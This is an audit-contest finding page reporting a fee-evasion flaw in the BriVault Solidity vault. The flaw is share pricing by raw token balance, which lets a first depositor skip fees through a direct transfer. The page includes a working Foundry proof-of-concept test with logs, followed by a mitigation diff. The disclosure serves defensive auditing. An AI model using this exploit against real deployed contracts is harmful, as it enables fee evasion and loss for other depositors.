BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Fee Evasion via Direct Token Transfer

0xvrka

Root + Impact

Description

  • The deposit function is the only intended way to add assets to the vault, and it correctly charges a participationFeeBsp on all deposited funds.

  • But this security assumption is broken by the _convertToShares function, which prices shares using the contract's entire token balance. An attacker can exploit this when totalSupply is 0 by first sending a large amount of tokens via a direct transfer (which pays no fee) and then calling deposit with a tiny amount. This tiny deposit triggers the if (totalShares == 0) logic, minting shares 1:1.

function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
@> uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
@> uint256 totalShares = totalSupply(); // total minted BTT shares so far
​
@> if (totalShares == 0 || balanceOfVault == 0) {
// Attacker's deposit triggers this block
return assets;
}
​
// This math is skipped by the attacker
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}

Risk

Likelihood:

  • This attack is only possible when the totalSupply of shares is 0. This is a pre-condition and occurs when the vault is first deployed or all previous depositors have redeemed or burned their shares.

Impact:

  • The attacker avoids paying the participationFee, denying the participationFeeAddress its intended revenue on the attacker's large stake.

Proof of Concept

This PoC (test_FirstStakerBypassFee) demonstrates the fee bypass at the vault's creation (when totalSupply is 0).

  1. user1 (attacker) transfers ~20 ether directly to the briVault contract. No fee is paid on this amount. balanceOf(vault) is now ~20 ether.

  2. user1 then deposits a tiny amount (0.00024 ether). The 1.5% fee is only paid on this tiny amount. Because totalSupply is 0, user1 gets the first shares 1:1 for their stakeAsset, which are now backed by all ~20 ether in the contract.

  3. user2 deposits 20 ether normally. They pay the full 1.5% fee (0.3 ether).

  4. The logs show user1 withdraws their full ~20 ether (having paid almost no fee), while user2 only gets back 19.7 ether (their principal minus the fee).

function test_FirstStakerBypassFee() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user1);
mockToken.transfer(address(briVault), 20 ether - 0.00024 ether);
mockToken.approve(address(briVault), 0.00024 ether);
briVault.deposit(0.00024 ether, user1);
briVault.joinEvent(0);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 20 ether);
briVault.deposit(20 ether, user2);
briVault.joinEvent(0);
vm.stopPrank();
​
vm.startPrank(owner);
vm.warp(eventEndDate + 1);
briVault.setWinner(0);
vm.stopPrank();
vm.startPrank(user1);
briVault.withdraw();
uint256 bal = mockToken.balanceOf(user1);
console.log("user 1 balance (ETH):", bal / 1 ether, ".", bal % 1 ether);
vm.stopPrank();
​
vm.startPrank(user2);
briVault.withdraw();
bal = mockToken.balanceOf(user2);
console.log("user 2 balance (ETH):", bal / 1 ether, ".", bal % 1 ether);
​
}

Output Log:

[PASS] test_FirstStakerBypassFee() (gas: 1869898)
Logs:
user 1 balance (ETH): 19 . 999996400000023205
user 2 balance (ETH): 19 . 699999999999976794

Recommended Mitigation

The mitigation is to ensure the contract's share price calculation is based on its own tracked assets, not the public balanceOf. This prevents poisoning the vault with fee-free transfers.

  1. Add a state variable uint256 internalTotalAssets to track assets only from deposits.

  2. Increase this variable in deposit (by stakeAsset) and decrease it in cancelParticipation and withdraw.

  3. Use this internalTotalAssets variable in _convertToShares instead of IERC20(asset()).balanceOf(address(this)).

contract BriVault is ERC4626, Ownable {
+ uint256 internal internalTotalAssets; // Tracks only assets from deposits
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
+ uint256 balanceOfVault = internalTotalAssets;
// ...
}
​
function deposit(uint256 assets, address receiver) public override returns (uint256) {
// ...
+ internalTotalAssets += stakeAsset;
​
// ...
}
​
function cancelParticipation () public {
// ...
+ internalTotalAssets -= refundAmount;
​
// ...
}
​
function withdraw() external winnerSet {
// ...
+ internalTotalAssets -= assetToWithdraw
​
// ...
}
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!